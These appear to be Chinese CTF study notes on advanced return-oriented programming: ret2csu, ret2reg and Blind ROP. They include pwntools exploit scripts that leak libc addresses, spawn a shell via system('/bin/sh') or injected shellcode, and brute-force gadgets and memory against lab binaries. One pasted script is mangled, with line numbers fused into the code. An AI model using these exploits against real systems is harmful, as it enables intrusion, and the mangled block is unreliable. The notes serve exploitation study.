进阶ROP

ret2__libc_csu_init(64位ELF)

利用原理

在64位程序中,函数的前6个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的gadgets。 这时候,我们可以利用x64下的__libc_scu_init中的gadgets。这个函数是用来对libc进行初始化操作的,而一般的程序都会调用libc函数,所以这个函数一定会存在。我们先来看一下这个函数:

libc_csu_init利用方法:

.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:00000000004005C0 ; __unwind {
.text:00000000004005C0 push r15
.text:00000000004005C2 push r14
.text:00000000004005C4 mov r15d, edi
.text:00000000004005C7 push r13
.text:00000000004005C9 push r12
.text:00000000004005CB lea r12, __frame_dummy_init_array_entry
.text:00000000004005D2 push rbp
.text:00000000004005D3 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA push rbx
.text:00000000004005DB mov r14, rsi
.text:00000000004005DE mov r13, rdx
.text:00000000004005E1 sub rbp, r12
.text:00000000004005E4 sub rsp, 8
.text:00000000004005E8 sar rbp, 3
.text:00000000004005EC call _init_proc
.text:00000000004005F1 test rbp, rbp
.text:00000000004005F4 jz short loc_400616
.text:00000000004005F6 xor ebx, ebx
.text:00000000004005F8 nop dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call qword ptr [r12+rbx*8]
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400616 add rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
.text:0000000000400624 ; } // starts at 4005C0
.text:0000000000400624 __libc_csu_init endp

  1. 从0x000000000040061A一直到结尾,我们可以利用栈溢出构造栈上数据来控制rbx,rbp,r12,r13,r14,r15寄存器的数据
    .text:000000000040061A                 pop     rbx
    .text:000000000040061B pop rbp
    .text:000000000040061C pop r12
    .text:000000000040061E pop r13
    .text:0000000000400620 pop r14
    .text:0000000000400622 pop r15
    .text:0000000000400624 retn
    .text:0000000000400624 ; } // starts at 4005C0
    .text:0000000000400624 __libc_csu_init endp
  2. 从0x0000000000400600到0x0000000000400609,我们可以将r13赋给rdx,将r14赋给rsi,将r15d赋给edi(需要注意的是,虽然这里赋给的是edi,但其实此时rdi的高32位寄存器值为0所以其实我们可以控制rdi寄存器的值,只不过只能控制低32位),而这三个寄存器,也是x64函数调用中传递的前三个寄存器。此外,如果我们可以合理地控制r12与rbx,那么我们就可以调用我们想要调用的函数比如说我们可以控制rbx为0,r12为存储我们想要调用的函数的地址
    .text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54↓j
    .text:0000000000400600 mov rdx, r13
    .text:0000000000400603 mov rsi, r14
    .text:0000000000400606 mov edi, r15d
    .text:0000000000400609 call qword ptr [r12+rbx*8]
  3. 从0x000000000040060D到0x0000000000400614,我们可以控制rbx与rbp的之间的关系为rbx+1=rbp,这样我们就不会执行loc_400600,进而可以继续执行下面的汇编程序。这里我们可以简单的设置rbx=0,rbp=1。
    .text:000000000040060D                 add     rbx, 1
    .text:0000000000400611 cmp rbx, rbp
    .text:0000000000400614 jnz short loc_400600

示例

ctf-challenges/pwn/stackoverflow/ret2__libc_csu_init/hitcon-level5/level5 at master · ctf-wiki/ctf-challenges
Pasted image 20250128110231

Pasted image 20250128111234

Pasted image 20250128111505

Pasted image 20250128111308
ida看/cyclic测出栈偏移为0x88=136

from pwn import *

p = process('./level5')
elf = ELF('level5')
libc = ELF('libc.so.6')

pop_addr = 0x40061a
write_got = elf.got['write']
mov_addr = 0x400600
main_addr = elf.symbols['main']

p.recvuntil('Hello, World\n')
playload = 'A'*136 + p64(pop_addr) + p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1) + p64(mov_addr) + 'a'*(0x8+8*6) + p64(main_addr)

p.sendline(playload)

write_start = u64(p.recv(8))
print hex(write_start)

payload解释:
首先输入136个字符使程序发生栈溢出,然后让pop_addr覆盖栈中的返回地址,使程序执行pop_addr地址处的函数,并分别将栈中的0、1、write_got函数地址、8、write_got、1分别pop到寄存器rbx、rbp、r12、r13、r14、r15中去,之后将pop函数的返回地址覆盖mov_addr的地址为,如下:

.text:000000000040061A                 pop     rbx //rbx-> 0
.text:000000000040061B pop rbp //rbp-> 1
.text:000000000040061C pop r12 //r12-> write_got函数地址
.text:000000000040061E pop r13 //r13-> 8
.text:0000000000400620 pop r14 //r14-> write_got函数地址
.text:0000000000400622 pop r15 //r15-> 1
.text:0000000000400624 retn //覆盖为mov_addr

两个write_got函数作用:
再布置完寄存器后,由于有call qword ptr[r12+rbx*8]它调用了write函数,其参数为write_got函数地址,写成C语言类似于:write(write_got函数地址)==printf(write_got函数地址),再使用u64(p.recv(8)接受数据并print出来就行了
之后程序转向mov_addr函数,利用mov指令布置寄存器rdx,rsi,edi
.text:0000000000400600                 mov     rdx, r13 //rdx=r13==8
.text:0000000000400603 mov rsi, r14 //rsi==r14==write_got函数地址
.text:0000000000400606 mov edi, r15d
//edi==r15d==1
.text:0000000000400609 call qword ptr [r12+rbx*8] //call write_got函数地址
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp //rbx==1,rbp==1
.text:0000000000400614 jnz short loc_400600

JNZ(或JNE)(jump if not zero, or not equal),汇编语言中的条件转移指令。结果不为零(或不相等)则转移

这里rbx和rbp都等于1,他们相等,所以继续执行payload代码(main_addr),而不是去执行loc_400600

从整体上来看,我们输入了'A'*136,利用payload对寄存器布局之后又重新回到了main函数,再说说'a'*(0x8+8*6)的作用:它的作用就是为了平衡堆栈
也就是说,当mov_addr执行完之后,按照流程仍然会执行地址400616处的函数,我们并不希望它执行到这个函数(因为他会再次pop寄存器更换我们布置好的内容),所以为了堆栈平衡,我们使用垃圾数据填充此处的代码(栈区和代码区同属于内存区域,可以被填充),如下图所示:
Pasted image 20250128132334
用垃圾数据填充地址0x16-0x22的内容,最后将main_addr覆盖ret,从而执行main_addr处的内容

由此我们获得了write的真实地址

libc=ELF('/usr/lib/x86_64-linux-gnu/libc.so.6)

libc_base=write_start-libc.symbols['write']
system_addr=libc.symbols['system']+libc_base
binsh=next(libc.search('/bin/sh'))+libc_base

pop_rdi_ret=0x400623
payload='a'*0x88+p64(pop_rdi_ret)+p64(binsh)+p64(system_addr)

p.send(payload)

p.interactive()

当我们获得write函数的真实地址之后,就可以计算出libc文件的基址,从而可以计算出system函数
和/bin/sh字符串在内存中的地址,从而利用它。
接下来解释一下第二个payload的意思:
payload='a'*0x88+p64(pop_rdi_ret)+p64(binsh)+p64(system_addr)
当程序重新执行到main函数时,我们利用栈溢出让返回地址被pop_rdi_ret覆盖,从而程序执行pop_rdi_ret。

注意,当我们send payload之后,pop_rdi_ret、binsh和system_addr被送到了栈中,利用gadgets:pop rdi;ret将栈中的binsh地址送往rdi寄存器中(也就是说pop_rdi_ret的参数是地址binsh),然后将system函数地址覆盖到ret,程序就会执行此system函数。
当system函数执行的时候会利用到rdi里的参数

通用

def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
# fakeebp='b' * 8
payload = 'a' * 0x80 + fakeebp
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38
payload += p64(last)
sh.send(payload)
sleep(1)


sh.recvuntil('Hello, World\n')
## RDI, RSI, RDX, RCX, R8, R9, more on the stack
## write(1,write_got,8)
csu(0, 1, write_got, 8, write_got, 1, main_addr)

write_addr = u64(sh.recv(8))

杂记

pop_rdi_ret=0x400623
这个是怎么来的?ida里为什么没有?
Pasted image 20250128140952

1.ROPgadget

Pasted image 20250128140914

2.看机器码

pop rbx--------->5B
pop rbp--------->5D
pop r12---------->41 5C
pop r13---------->41 5D
pop r14---------->41 5E
pop r15---------->41 5F

xxxxxxxxxx28 1from pwn import 2context(os=’linux’, arch=’amd64’, log_level=’debug’)3​4io = process(‘./pwn2’)5elf = ELF(‘./pwn2’)6​7vul = 0x4009E78write = 0x4009DD9​10pop_rdi = 0x4014c611pop_rsi = 0x4015e712pop_rdx = 0x44262613jmp_rsi = 0x4a331314mov_rdi_esi = 0x47a3b315​16payload = “A”0x8817payload += p64(pop_rsi) + p64(7) + p64(pop_rdi) + p64(elf.sym[‘stack_prot’]) + p64(mov_rdi_esi)18payload += p64(pop_rdi) + p64(elf.sym[‘libc_stack_end’]) + p64(elf.sym[‘_dl_make_stack_executable’])19payload += p64(vul)20​21io.sendlineafter(‘welcome~\n’, payload)22​23shellcode = asm(shellcraft.sh())24payload = shellcode.ljust(0x88, “A”) + p64(jmp_rsi)25​26io.sendline(payload)27​28io.interactive()python

ret2reg

ret2reg,即返回到寄存器地址进行攻击,可以绕过地址混淆(ASLR)。
一般用于开启ASLR的ret2shellcode题型,在函数执行后,传入的参数在栈中传给某寄存器,然而该函数在结束前并未将该寄存器复位,就导致这个寄存器仍还保存着参数,当这个参数是shellcode时,只要程序中存在jmp/call reg代码片段时,即可通过gadget跳转至该寄存器执行shellcode。
该攻击方法之所以能成功,是因为函数内部实现时,溢出的缓冲区地址通常会加载到某个寄存器上,在后来的运行过程中不会修改。

原理

  • 查看栈溢出返回时哪个寄存器指向缓冲区空间。
  • 查找对应的call 寄存器或者jmp 寄存器指令,将EIP设置为该指令地址。
  • 将寄存器所指向的空间上注入shellcode(确保该空间是可以执行的,通常是栈上的)

    利用思路

  • 分析和调试汇编,查看溢出函数返回时哪个寄存器指向缓冲区地址
  • 向寄存器指向的缓冲区中注入shellcode
  • 查找call 该寄存器或者jmp 该寄存器指令,并将该指令地址覆盖ret

    防御方法

    在函数ret之前,将所有赋过值的寄存器全部复位,清0,以避免此类漏洞

brop

简介

BROP全称为”BlindROP”,一般在我们无法获得二进制文件的情况下利用 ROP进行远程攻击某个应用程序,劫持该应用程序的控制流,我们可以不需要知道该应用程序的源代码或者任何二进制代码,该应用程序可以被现有的一些保护机制,诸如NX, ASLR, PIE, 以及stack canaries等保护,应用程序所在的服务器可以是32位系统或者64位系统,BROP这一概念在2014年由Standford的Andrea Bittau发表在Oakland 2014的论文Hacking Blind中提出。

论文地址:bittau-brop.pdf

攻击条件

  1. 程序必须存在一个已知的栈溢出漏洞,并且攻击者知道如何触发该漏洞;
  2. 应用程序在crash之后可以重新启动(复活),并且重新启动(复活)的进程不会被re-rand(虽然有ASLR的保护,但是复活的进程和之前的进程的地址随机化是一样的),这个需求其实在现实中是存在且合理的,诸如像如今的nginx, MySQL, Apache, OpenSSH, Samba等应用均符合此类特性。

攻击思路

  1. 暴力枚举,获取栈溢出长度,如果程序开启了Canary ,顺便将canary也可以爆出来
  2. 寻找可以返回到程序main函数的gadget,通常被称为stop_gadget
  3. 利用stop_gadget寻找可利用(potentially useful)gadgets,如:pop rdi; ret
  4. 寻找BROP Gadget,可能需要诸如write、put等函数的系统调用
  5. 寻找相应的PLT地址
  6. dump远程内存空间
    拿到相应的GOT内容后,泄露出libc的内存信息,最后利用rop完成getshell

知识点1-stop_gadget:一般情况下,如果我们把栈上的return address覆盖成某些我们随意选取的内存地址的话,程序有很大可能性会挂掉(比如,该return address指向了一段代码区域,里面会有一些对空指针的访问造成程序crash,从而使得攻击者的连接(connection)被关闭)。但是,存在另外一种情况,即该return address指向了一块代码区域,当程序的执行流跳到那段区域之后,程序并不会crash,而是进入了无限循环,这时程序仅仅是hang在了那里,攻击者能够一直保持连接状态。于是,我们把这种类型的gadget,成为stop gadget,这种gadget对于寻找其他gadgets取到了至关重要的作用。
知识点2-可利用的(potentially useful)gadgets:假设现在我们猜到某个useful gadget,比如pop rdi; ret, 但是由于在执行完这个gadget之后进程还会跳到栈上的下一个地址,如果该地址是一个非法地址,那么进程最后还是会crash,在这个过程中攻击者其实并不知道这个useful gadget被执行过了(因为在攻击者看来最后的效果都是进程crash了),因此攻击者就会认为在这个过程中并没有执行到任何的useful gadget,从而放弃它。这个步骤如下图所示:Pasted image 20250206185740但是,如果我们有了stop gadget,那么整个过程将会很不一样. 如果我们在需要尝试的return address之后填上了足够多的stop gadgets,如下图所示:Pasted image 20250206185807那么任何会造成进程crash的gadget最后还是会造成进程crash,而那些useful gadget则会进入block状态。尽管如此,还是有一种特殊情况,即那个我们需要尝试的gadget也是一个stop gadget,那么如上所述,它也会被我们标识为useful gadget。不过这并没有关系,因为之后我们还是需要检查该useful gadget是否是我们想要的gadget。

例题

ctfrepo/BROP/hctf2016-brop-master at master · zszcr/ctfrepo

解答思路

做题思路:控制puts函数打印出自身的got表地址,通过got地址利用LibcSearcher计算出当前使用的libc版本,接着找到system函数和/bin/sh地址部署到栈中执行

解答步骤

1.判断栈溢出长度

首先第一步,需要对栈空间进行判断,确定栈溢出的长度。
判断栈溢出可以通过循环不断的增加输入字符的长度,直至程序崩溃
可以看到我们出现’WelCome my friend,Do you know password?’这个字样之后等待输入,当输入一个a的时候,接下来会提示’No password, no game’的字样
同时在我们输入一串特别长的字符串的时候没有出现’No password, no game’的字样,那么我们就可以使用循环来不断增加字符串长度,并且根据回显结果中是否有’No password, no game’字样来判断到什么长度覆盖了ret返回地址,并且该长度减一就是栈溢出的长度

循环内容:累加输入字符串长度,填满栈空间
循环终止条件:回显结果起始位置字符串为No password, no game
执行目的:确定栈溢出长度,为后续所有步骤做准备

from pwn import*
#暴力枚举出栈溢出长度
def getsize():
i = 1
while 1:
try:
p = process('./brop')
p.recvuntil("WelCome my friend,Do you know password?\n")
p.send(i*'a')
data = p.recv()
p.close()
if not data.startswith(b'No password'):
#判断output变量中起始位置是不是No password,如果不是说明已经溢出了
return i-1
else:
i+=1
except EOFError:#主要探测是否具有canary
p.close()
return i-1

size = getsize()
print ("size is : %s "% size)

根据上面的代码可以确定栈溢出的长度为72,并且根据返回信息发现没有开启canary保护
栈中情况:

             +---------------------------+
| ret |
+---------------------------+
| a | 递增a字符串覆盖原saved ebp位置
ebp--->+---------------------------+
| a+ | 递增a字符串占位填满栈空间
| .... | .....
| a+ | 递增a字符串占位填满栈空间
| a+ | 递增a字符串占位填满栈空间
| a+ | 递增a字符串占位填满栈空间
| a+ | 递增a字符串占位填满栈空间
ebp-?-->+---------------------------+

2.寻找stop gadget

当我们想办法寻找gadget的时候,并不知道程序具体是什么样的,所以需要控制返回地址进而去猜测gadget。那当我们控制返回地址时,一般会出现三种情况

  1. 程序直接崩溃:ret地址指向的是一个程序内不存在的地址
  2. 程序运行一段时间后崩溃:比如运行自己构造的函数,该函数的返回地址指向不存在的地址
  3. 程序一直运行而不崩溃
    stop gadget一般指的是,但程序执行这段代码时,程序进入无限循环,这样使得攻击者能够一直保持连接状态,并且程序一直运行而不崩溃。就像蛇吃自己的尾巴一样,stop gadget最后的ret结尾地址就是程序开启的地址(比如main函数地址)

由于看不到二进制程序所以依然还需要使用穷举的方式不断的尝试每一个地址,所以我们从初始的地址0x400000开始,通过循环,不断累加地址进行尝试(前面检测程序保护讲了为什么初始地址是0x400000)。有了循环之后就需要考虑循环终止条件,终止条件可以参考stop gadget的特性,在执行stop gadget的时候程序会回到初始状态并且没有发生崩溃。那么我们可以利用这一特性,使用前面找到的72字节填满栈空间,之后接上穷举的地址,此时穷举地址覆盖了ret地址,那么接下来就会执行穷举地址,如果此时程序发生崩溃就进行下一次循环,如果没有崩溃则打印该地址

循环内容:递增地址,尝试可能的stop gadget
循环终止条件:程序不发生崩溃
执行目的:确定stop gadget为后面查找brop gadget、puts plt、puts got做准备

from pwn import *

def get_stop():
addr = 0x400000
while 1:
sleep(0.1)
addr += 1
try:
print("Now,trying the address is ",hex(addr))
p = process('./brop')
p.recvuntil(b"WelCome my friend,Do you know password?\n")
payload = b'a'*72 + p64(addr)
print("Now,the payload is ",payload)
p.sendline(payload)
data = p.recv()
p.close()
if data.startswith(b'WelCome'):
print ("main funciton-->[%s]"%hex(addr))
return addr
else:
print ('one success addr : 0x%x'%hex(addr))
except EOFError as e:
p.close()
print("a bad addr",hex(addr))
except:
print("Can't connect,retrying")
addr -= 1

data = get_stop()
print ("Success,call Main Function address is",hex(data))

Pasted image 20250206201043
我们也可以用IDA(仅作验证,brop理应无文件),可知该地址为main函数

3.寻找brop gadget

在前面找到了stop gadget我们怎么去利用他呢,这时候就需要找到能够控制寄存器的gadget。由于我们的计划是利用puts函数打印出自己的got地址,通过got地址找到对应的libc版本,然后找到system函数和/bin/sh地址部署到栈中执行。那么需要考虑的一点是在调用puts函数之前需要将打印的内容压进rdi寄存器中,那么我们首先就需要通过gadget来控制rdi寄存器。
其实在libc_csu_init的结尾一长串pop的gadget中,通过偏移可以得到pop rdi的操作

+---------------------------+  
| pop rbx | 0x00
+---------------------------+
| pop rbp | 0x01
+---------------------------+
| pop r12 | 0x02
+---------------------------+
| pop r13 | 0x04
+---------------------------+
| pop r14 | 0x06
+---------------------------+---------->pop rsi;ret 0x07
| pop r15 | 0x08
+---------------------------+---------->pop rdi;ret 0x09
| ret | 0x10
-----------------------------

可以看到如果以pop rbx为基地址的话向下偏移0x07会得到pop rsi的操作,向下偏移0x09会得到pop rdi的操作。这两个操作就可以帮助我们控制puts函数的输出内容

那么往回想既然我们需要用到pop rdi、rsi的操作就需要知道libc_csu_init结尾6个pop操作的位置。这个时候我们的stop gadget就派上用场了,为了更好地演示stop gadget的使用,这里定义栈上的三种地址

  • Probe - - 探针,也就是我们想要循环递增的代码地址。一般来说都是64位程序,可以直接从0x400000尝试
  • Stop - - 不会使得程序崩溃的stop gadget的地址
  • Trap - - 可以导致程序崩溃的地址

我们可以通过在栈上拜访不同程序的Stop与Trap从而来识别出正在执行的指令,举几个例子

  • probe, stop, traps, (traps, traps, …)以这样的方式进行排列,可以看一下在栈中的排列
    +---------------------------+ 
    | traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
    +---------------------------+
    | .... | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
    +---------------------------+
    | traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
    +---------------------------+
    | traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
    +---------------------------+
    | traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
    +---------------------------+
    | stop | <----- stop gadget,不会使程序崩溃,作为probe的ret位
    +---------------------------+
    | probe | <----- 探针
    -----------------------------

    我们可以通过程序是否崩溃来判断probe探针中可能存在的汇编语句,在这样布局的情况下,如果程序没有崩溃,说明stop gadget被执行了。说明了probe探针中没有pop操作,并且有ret返回,如果有pop操作的话stop会被pop进寄存器当中,那么probe探针的ret返回就会指向stop的后几位traps,那么就会导致程序崩溃。那么由于在栈布局中stop gadget在probe探针的下一位,说明stop所在位置就是probe探针的ret返回地址位置。如:
    ret
    xor eax,eax; ret
  • probe, traps, stop, raps以这样的方式进行排列,可以看一下在栈中的排列
    +---------------------------+ 
    | traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
    +---------------------------+
    | .... | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
    +---------------------------+
    | traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
    +---------------------------+
    | traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
    +---------------------------+
    | stop | <----- stop gadget,不会使程序崩溃,作为probe的ret位
    +---------------------------+
    | trap | <----- trap,程序中不存在的地址,当IP指针指向该处时崩溃
    +---------------------------+
    | probe | <----- 探针
    -----------------------------
    我们可以通过程序是否崩溃来判断probe探针中可能存在的汇编语句,在这样布局的情况下,如果程序没有崩溃,说明stop gadget被执行了。说明probe指针中仅存在一个pop操作,并且有ret返回,在probe探针中只有一个pop操作的时候才会只将probe后面的trap弹进寄存器,如果有两个及两个以上的pop操作的时候,stop gadget也会被弹进寄存器中无法执行。并且在probe探针中ret返回所指的位置是stop才能使程序不崩溃,如:
    pop rax; ret
    pop rdi; ret
  • probe, trap, trap, trap, trap, trap, trap, stop, traps以这样的方式进行排列,可以看一下在栈中的排列
    +---------------------------+ 
    | traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
    +---------------------------+
    | stop | <----- stop gadget,不会使程序崩溃,作为probe的ret位
    +---------------------------+
    | trap | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
    +---------------------------+
    | trap | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
    +---------------------------+
    | trap | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
    +---------------------------+
    | trap | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
    +---------------------------+
    | trap | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
    +---------------------------+
    | trap | <----- trap,程序中不存在的地址,当IP指针指向该处时崩溃
    +---------------------------+
    | probe | <----- 探针
    -----------------------------
    我们可以通过程序是否崩溃来判断probe探针中可能存在的汇编语句,在这样布局的情况下,如果程序没有崩溃,说明stop gadget被执行了。说明该probe探针中存在6个pop操作,并且有ret,因为只有在6个pop操作之后probe后面的trap才能弹进寄存器,之后sp指针才能指向stop gadget,这个时候stop gadget只有在ret位置才能被执行,因此程序不会崩溃
    回到我们之间说的寻找brop gadget环节,我们这个环节要找的就是libc_csu_init最后的6个pop加ret,那么根据前面的讲解我们可以大致的通过trap、stop这种方式做一个简单的排列:
    addr,trap, trap, trap, trap, trap, trap, stop, traps
    以上面这种排列的话,addr通过循环不断增加地址位,只有addr所在地址拥有6个pop操作并ret的时候才会执行stopgadget。

循环内容:递增地址,找到可以执行6个pop和一个ret操作的gadget
循环终止条件:程序不崩溃,并出现起始的输出提示’WelCome’字符
执行目的:找到libc_csu_init函数的最后一个gadget,通过偏移计算出popr di地址

from pwn import *

def get_brop_gadget(length, stop_gadget, addr): #查找brop gadget函数
try:
sh = process('./brop')
sh.recvuntil(b'password?\n')
payload = b'a' * length + p64(addr) + p64(0)*6 + p64(stop_gadget)
sh.sendline(payload)
content = sh.recv()
sh.close()
print (content)
if not content.startswith(b'WelCome'):
#判断提示符是否出现起始提示字符,如果有说明程序没崩溃
return False
return True
except Exception:
sh.close()
return False

def check_brop_gadget(length, addr):#检查地址
try:
sh = process('./brop')
sh.recvuntil(b'password?\n')
payload = b'a' * length + p64(addr) + b'a' * 8 * 10
sh.sendline(payload)
content = sh.recv()
sh.close()
return False
except Exception:
sh.close()
return True


##length = getbufferflow_length()
length = 72
##get_stop_addr(length)
stop_gadget = 0x4005d0
addr = 0x4007b0
#理论上应该从0x400000开始寻找,但是这个环节要找的是Libc_csu_init函数,所以大多数的libc中Libc_csu_init函数的起始地址都在0x400750之后,所以为了减少误差,从0x400750开始
while 1: #循环递增要测试的地址
print (hex(addr))
if get_brop_gadget(length, stop_gadget, addr):
print ('possible brop gadget: 0x%x' % addr)
if check_brop_gadget(length, addr):
print ('success brop gadget: 0x%x' % addr)
break
addr += 1

Pasted image 20250206210120

运行之后会得到很多的gadget地址,但是只有0x4007ba是可以继续进行操作的,如果想找到更多的gadget地址可以参考寻找stop gadget方法。
栈中布局

             +---------------------------+
| 0 | trap
+---------------------------+
| ..... | trap
+---------------------------+
| 0 | trap
+---------------------------+
| stop gadget | stop gadget作为ret返回地址
+---------------------------+
| 0 | trap
+---------------------------+
| 0 | trap
+---------------------------+
| 0 | trap
+---------------------------+
| 0 | trap
+---------------------------+
| 0 | trap
+---------------------------+
| 0 | trap
+---------------------------+
| 0x400740+ | 递增地址覆盖原ret返回位置
+---------------------------+
| a | a字符串覆盖原saved ebp位置
ebp--->+---------------------------+
| a | a字符串占位填满栈空间
| .... | .....
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
ebp-?-->+---------------------------+

在我们找到brop gadget之后加上0x09的偏移就可以得到pop rdi;ret操作的地址0x4007c3

4.寻找puts@plt地址

通过前面的操作,我们可以总结一些规律,比如我们需要什么就把他扔进循环递增,总会有一次循环会得到我们想要的结果,在上一步我们找到了pop rdi;ret这个gadget的地址了,那么我们就可以控制puts函数的输出内容。我们就需要用这个gadget找到puts_plt的地址
根据上面所说的如果我们调用puts函数,必须将puts函数的参数地址先部署进rdi寄存器中,然后调用puts函数将rdi中地址内的参数打印出来
但是由于开启了NX保护,所以我们无法在栈中部署外部的变量或者字符串,那么我们就需要一个程序内部的特殊字符串,并且这个字符串必须唯一的。这里介绍一下,在没有开启PIE保护的情况下,0x400000处为ELF文件的头部,其内容为’ \ x7fELF’

循环内容:递增地址,找到可以进行打印的puts_plt地址
循环终止条件:接收字符串出现’\ x7fELF’字样
执行目的:为后续找到puts_got地址做准备

def get_puts_addr(length, rdi_ret, stop_gadget):
addr = 0x400559
while 1:
print (hex(addr))
sh = process('./brop')
sh.recvuntil(b'password?\n')
payload = b'A' * length + p64(rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget)
#72个A填充栈空间,调用pop rdi;ret gadget将0x400000pop进rdi寄存器,循环增长的地址放在gadget的ret位置,在执行完gadget后直接调用循环增长的地址,如果增长到puts_plt地址就会打印rdi寄存器中地址内存放的字符串,最后的stop gadget是为了让程序不崩溃
sh.sendline(payload)
try:
content = sh.recv()
if content.startswith(b'\x7fELF'):#判断是否打印\x7fELF
print ('find puts@plt addr: 0x%x' % addr)
return addr
sh.close()
addr += 1
except Exception:
sh.close()
addr += 1

##length = getbufferflow_length()
length = 72
rdi_ret = 0x4007ba+0x9
##get_stop_addr(length)
stop_gadget = 0x4005d0
puts = get_puts_addr(length,rdi_ret,stop_gadget)
#find puts@plt addr: 0x400565

Pasted image 20250206211035
栈中布局

             +---------------------------+
| stop gadget | stop gadget确保程序不崩溃
+---------------------------+
| 0x400000+ | 循环递增地址,作为pop的ret地址
+---------------------------+
| 0x400000 | ELF起始地址,地址内存放'、x7fELF'
+---------------------------+
| 0x4007c3 | pop rdi;ret地址覆盖原ret返回位置
+---------------------------+
| a | a字符串覆盖原saved ebp位置
ebp--->+---------------------------+
| a | a字符串占位填满栈空间
| .... | .....
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
ebp-?-->+---------------------------+

5.泄露puts_got地址

在得到puts_plt地址后,接下来就需要将puts_got地址泄露出来,得到puts_got地址之后就可以利用LibcSearcher查找对应的libc版本,再根据版本找到libc中的system函数和/bin/sh

在泄露之前需要知道一下Linux中plt表和got表的关系,我们就拿puts函数举例

															+--------------+
| GOT表 |
+---------------------+ +--------------+ 找到真实地址 +--------------+
| PLT表 | jmp got表 |-----> |puts的真实地址 | ------------->| puts函数 |
+---------------------+ +--------------+ +--------------+
跳转到got表中存放puts | |
函数真实地址的地址 | |
| |
| |
| |
+--------------+

我们可以根据上图我们模拟一下call puts的过程,在执行call puts之后程序首先会在PLT表中寻找puts_plt的地址,那么在puts_plt地址中存放的是GOT表中存放puts函数真实地址的地址,接下来会在GOT表中找到存放puts真实地址的地址,接下来打开盒子根据真实找到了puts函数
在ret2csu中我们使用的是LibcSearcher查找的函数got表地址,那么由于这道题开启了ASLR,所以不能使用工具去获取地址,那么我们手动的去找,找的就是在puts_plt地址中存放的jmp指令后接的地址。如果觉得不懂,看一下上面的图,jmp指令后面接的就是puts_got的地址。由于不能实用工具,我们只能手动的讲整个PLT部分都dump出来。dump出来的文件重新设置基地址0x400000,再根据前面得到的puts_plt地址找到对应位置,查看该地址内的汇编指令
context.log_level = "debug"
'''
dump the bin file
'''
def leak(length, rdi_ret, puts_plt, leak_addr, stop_gadget):
sh = process('./brop')
payload = b'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_gadget)
#72个a填满栈空间至ret位置,后接pop rdi;ret gadget,循环递增的地址被pop进rdi寄存器,接下来将puts_plt地址防止在gadget ret位置进行调用打印循环递增的地址,最后加上stop gadget防止崩溃
sh.recvuntil(b'password?\n')
sh.sendline(payload)
try:
data = sh.recv(timeout=0.1)
sh.close()
try:
data = data[:data.index(b"\nWelCome")]#将接收的\nWelCome之前的字符串交给data变量
except Exception:
data = data
if data == b"": #如果data被赋值之后为空,那么就说明已经完成整个dump过程,添加\x00截断
data = b'\x00'
return data
except Exception:
sh.close()
return None

##length = getbufferflow_length()
length = 72
##stop_gadget = get_stop_addr(length)
stop_gadget = 0x4005d0
##brop_gadget = find_brop_gadget(length,stop_gadget)
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
##puts_plt = get_puts_plt(length, rdi_ret, stop_gadget)
puts_plt = 0x400565
addr = 0x400000
result = b"" #准备一个空字符串接收dump出来的代码
while addr < 0x401000: #从0x400000开始泄露0x1000个字节,足以包含程序的plt部分
print (hex(addr))
data = leak(length, rdi_ret, puts_plt, addr, stop_gadget)
if data is None: #判断接收字符是否为空
result += b'\x00'
addr +=1
continue
else:
result += data #接收字符串
addr += len(data) #addr+接收字符串个数,避免接收重复的字符串

with open('dump', 'wb') as f: #在当前目录下以二进制形式向hollk文件中写
f.write(result)

个文件就是我们dump出来的文件,其实你可以把他比作Windows下脱壳之后的文件。虽然在实际情况下我们看不到二进制文件,但是我们dump出来的plt段的内容可以使用IDA进行查看。将dump文件拖进64位IDA,选择binary File形式打开,选择64-bit mode
